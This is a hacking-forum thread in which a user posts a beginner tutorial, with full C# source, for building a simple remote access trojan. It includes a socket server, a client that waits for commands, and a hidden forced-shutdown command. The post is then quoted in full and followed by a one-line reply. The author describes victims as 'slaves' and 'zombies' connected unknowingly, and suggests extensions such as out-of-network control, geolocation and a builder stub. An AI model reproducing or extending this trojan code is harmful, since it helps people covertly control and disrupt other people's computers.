

Forum:[Hack Forums](#)

Thread: [How to make a very simple RAT\[Simple tutorial\] All code in Thread!](#)

Punk2121 - October 24, 2023, 9:59 am

Yo wassup guys!

Hi i am Punk at the moment i am a student in software development 3th year as you might see my-English is not so good, but that doesn't matter.

Today i will be explaining how to make a simple barebone RAT(Remote Administration Tool/Trojan) Why would i be showing this?

-In the few years i have been on coding/hacking forums i saw that a lot of people were intrested in only a few things: How to hack there ex-girlfriends Instagram, and how to build there own "HACkInG" ? Software so here for all the people a simple RAT?

Step 1:

what language do you want to make the rat in?

Most of the times people will be trying to make it in like python and other langs.

For a simple basic RAT we will be making a c# rat because its very simple to make a local connection between 2 Programs.

and for this simple RAT We will only be making a local for today !

Maybe in the future if this post gets some traction i will be making a more advanced tutorial.

Step 2:

Download visual studio

If you don't know how to download how to download it search for a vid on YT

Create 2 Projects if you don't know how to make a project please first learn the basics before trying this simple tutorial.

Okay so now when all the beginners are gone lets start working

Okay basic infrastructure:

Server- This is in this case the head of the network clients will be connected to this central Server.

Client- AKA Slaves are the Zombies connected (Mostly)unknowingly to your central server.

So what will we be making today and what features will we be implementing?

Server side:

simple Winform design

Simple socket connection

Simple client list

2 simple features(1.Shutdown 2.Textbox)

Client side:

Connection

Command handling Centre

For the client side i wont be making it invisible to Task manager or any where else.

it will look something like this:

Im sorry i cant post links yet?

if you pm you can have all the sourcecode and pictures?

the server design needs these functions:

Start, Stop, Restart(Optional) button or menu items.

Listbox for the client list.

buttons for the functions.

[!]Optional:

Status indicator server: Server online{True or false}

Status indicator clients connected: {0,1,2,3}

These are the most basic things you can add but if already have a bit experience you can add more things like:

More Functions,

Out of network function

GeoIP(Location of client)

Builder stub(For the more advanced coders)

Okay lets stop Yappin en lets get to coding

okay first we start on the server

Lets first add these things on top(i dont know what it is called in English)

Code using System.Net;

using System.Net.Sockets;

using System.Text;

These things will make us able to write Sockets

now in the public partial class we will add

Code public Socket serverSok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

Socket clientsok;

these will create a socket with his paramotors for our local network

Code private void startToolStripMenuItem_Click(object sender, EventArgs e)

```
{
    try
    {
        while (true) {
            //when this is pressed it will make the server start listening for clients
            serverSok.Bind(new IPEndPoint(IPAddress.Any, 1234));
            serverSok.Listen();
            clientsok = serverSok.Accept();
            //creates a messagebox with the ip of client when connected
            MessageBox.Show("Someone connected: " + serverSok.LocalEndPoint.ToString());
            if(serverSok.Connected != null)
            {
                //this function is for adding the ip to the listbox
                String client = serverSok.LocalEndPoint.ToString();
                Clients.Items.Add(client);
            }
        }
    }
}
```

```

        break;
    }
}

}
catch
{
//catching the error instread of the program crashing.

```

```

    MessageBox.Show("Something went wrong with trying to start listening/server is already
listening");
}

```

}
now for the Stop listening code:

```

Code private void stopToolStripMenuItem_Click(object sender, EventArgs e)
{
    serverSok.Close();
}

```

this will be making the server listen for clients and when one connects it will be put on the list.
read the comments in the code for more explanation.

okay now we will be making it so the server can send commands.

we will be doing it simple today so we are just going to send a simple string and checking on client
side if the string is the same as a hardcoded command.

okay now we are going to make our function buttons send commands to client
okay follow my lead:

```

Code private void button1_Click(object sender, EventArgs e)
{
    try
    {
        //this is my shutdown function button
        //this will send shutdown command to the server
        clientsok.Send(Encoding.ASCII.GetBytes("shutdown"));
    }catch { }
}

```

This will make the server send the text shutdown.

this is exactly the same for any other function

so this is the MOST BASIC server for a rat

Now lets code the client:

```

Code using System.Net;
using System.Net.Sockets;
using System;
using System.Text;

```

```

//creating socket for the client to cennect to server

```

```

Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
string recieveddata;
//data to save recieved data in
byte[] data = new byte[1024];

//trying to connect
try
{
    socket.Connect(new IPEndPoint(IPAddress.Loopback, 1234));
    if (socket.Connected)
    {
        Console.WriteLine("Connected");
    }
}
catch (Exception e)
{
    Console.WriteLine("cannot connect");
}
//checking if getting message and what kind of message it is
while (true)
{
    try
    {
        int ontvanegenBytes = socket.Receive(data);
        recieveddata = Encoding.ASCII.GetString(data, 0, ontvanegenBytes);
        if(recieveddata == "Shutdown")
        {
            //when server send Shutdown message we are going to shutdown the system
            Console.WriteLine("Shutting down");
        }
    }
    catch { }
}

```

So this was the simple tutorial.

to add function to the shutdown button instead of putting Console.WriteLine....

put:

```
Code var psi = new ProcessStartInfo("shutdown","/s /t 0");
```

```
psi.CreateNoWindow = true;
```

```
psi.UseShellExecute = false;
```

```
Process.Start(psi);
```

things this rat cannot do:

multiple clients

more functions

Footer:

Thanks for reading my little tutorial i hope it helped you if you have any questions my pms are open and you can also put your questions under this thread im sorry for not being able to show you pictures becauese of my limitations

Greeting Punk2121?

(Oct 24, 2023 09:59 AM)Punk2121 Wrote: [\[CITE\]](#) Yo wassup guys!

Hi i am Punk at the moment i am a student in software development 3th year as you might see my-English is not so good, but that doesn't matter.

Today i will be explaining how to make a simple barebone RAT(Remote Administration Tool/Trojan) Why would i be showing this?

-In the few years i have been on coding/hacking forums i saw that a lot of people were intrested in only a few things: How to hack there ex-girlfriends Instagram, and how to build there own "HACKInG" ? Software so here for all the people a simple RAT?

Step 1:

what language do you want to make the rat in?

Most of the times people will be trying to make it in like python and other langs.

For a simple basic RAT we will be making a c# rat because its very simple to make a local connection between 2 Programs.

and for this simple RAT We will only be making a local for today !

Maybe in the future if this post gets some traction i will be making a more advanced tutorial.

Step 2:

Download visual studio

If you don't know how to download how to download it search for a vid on YT

Create 2 Projects if you don't know how to make a project please first learn the basics before trying this simple tutorial.

Okay so now when all the beginners are gone lets start working

Okay basic infrastructure:

Server- This is in this case the head of the network clients will be connected to this central Server.

Client- AKA Slaves are the Zombies connected (Mostly)unknowingly to your central server.

So what will we be making today and what features will we be implementing?

Server side:

simple Winform design

Simple socket connection

Simple client list

2 simple features(1.Shutdown 2.Textbox)

Client side:

Connection

Command handling Centre

For the client side i wont be making it invisible to Task manager or any where else.

it will look something like this:

Im sorry i cant post links yet?

if you pm you can have all the sourcecode and pictures?

the server design needs these functions:

Start, Stop, Restart(Optional) button or menu items.
Listbox for the client list.
buttons for the functions.
[!]Optional:
Status indicator server: Server online{True or false}
Status indicator clients connected: {0,1,2,3}

These are the most basic things you can add but if already have a bit experience you can add more things like:

More Functions,
Out of network function
GeoIP(Location of client)
Builder stub(For the more advanced coders)

Okay lets stop Yappin en lets get to coding

okay first we start on the server

Lets first add these things on top(i dont know what it is called in English)

```
Code using System.Net;  
using System.Net.Sockets;  
using System.Text;  
These things will make us able to write Sockets
```

now in the public partial class we will add

```
Code public Socket serverSok = new Socket(AddressFamily.InterNetwork, SocketType.Stream,  
ProtocolType.Tcp);
```

```
    Socket clientsok;
```

these will create a socket with his paramotors for our local network

```
Code private void startToolStripMenuItem_Click(object sender, EventArgs e)
```

```
{  
    try  
    {  
        while (true) {  
            //when this is pressed it will make the server start listening for clients  
            serverSok.Bind(new IPEndPoint(IPAddress.Any, 1234));  
            serverSok.Listen();  
            clientsok = serverSok.Accept();  
            //creates a messagebox with the ip of client when connected  
            MessageBox.Show("Someone connected: " + serverSok.LocalEndPoint.ToString());  
            if(serverSok.Connected != null)  
            {  
                //this function is for adding the ip to the listbox  
                String client = serverSok.LocalEndPoint.ToString();  
                Clients.Items.Add(client);  
                break;  
            }  
        }  
    }  
    catch  
    {  

```

//catching the error instread of the program crashing.

```
        MessageBox.Show("Something went wrong with trying to start listening/server is already  
listening");  
    }
```

```
}
```

now for the Stop listening code:

```
Code private void stopToolStripMenuItem_Click(object sender, EventArgs e)  
{  
    serverSok.Close();  
}
```

this will be making the server listen for clients and when one connects it will be put on the list.
read the comments in the code for more explanation.

okay now we will be making it so the server can send commands.

we will be doing it simple today so we are just going to send a simple string and checking on client
side if the string is the same as a hardcoded command.

okay now we are going to make our function buttons send commands to client

okay follow my lead:

```
Code private void button1_Click(object sender, EventArgs e)  
{  
    try  
    {  
        //this is my shutdown function button  
        //this will send shutdown command to the server  
        clientsok.Send(Encoding.ASCII.GetBytes("shutdown"));  
    }catch { }  
}
```

This will make the server send the text shutdown.

this is exactly the same for any other function

so this is the MOST BASIC server for a rat

Now lets code the client:

```
Code using System.Net;  
using System.Net.Sockets;  
using System;  
using System.Text;
```

```
//creating socket for the client to connect to server  
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);  
string recieveddata;  
//data to save recieved data in  
byte[] data = new byte[1024];
```

```
//trying to connect  
try
```

```

{
    socket.Connect(new IPEndPoint(IPAddress.Loopback, 1234));
    if (socket.Connected)
    {
        Console.WriteLine("Connected");
    }
}
catch (Exception e)
{
    Console.WriteLine("cannot connect");
}
//checking if getting message and what kind of message it is
while (true)
{
    try
    {
        int onvanegenBytes = socket.Receive(data);
        recieveddata = Encoding.ASCII.GetString(data, 0, onvanegenBytes);
        if(recieveddata == "Shutdown")
        {
            //when server send Shutdown message we are going to shutdown the system
            Console.WriteLine("Shutting down");
        }
    }
    catch { }
}

```

So this was the simple tutorial.

to add function to the shutdown button instead of putting Console.WriteLine....

put:

```
Code var psi = new ProcessStartInfo("shutdown","/s /t 0");
```

```
psi.CreateNoWindow = true;
```

```
psi.UseShellExecute = false;
```

```
Process.Start(psi);
```

things this rat cannot do:

multiple clients

more functions

Footer:

Thanks for reading my little tutorial i hope it helped you if you have any questions my pms are open and you can also put your questions under this thread im sorry for not being able to show you pictures because of my limitations

Greeting Punk2121?

Well that's good Thank you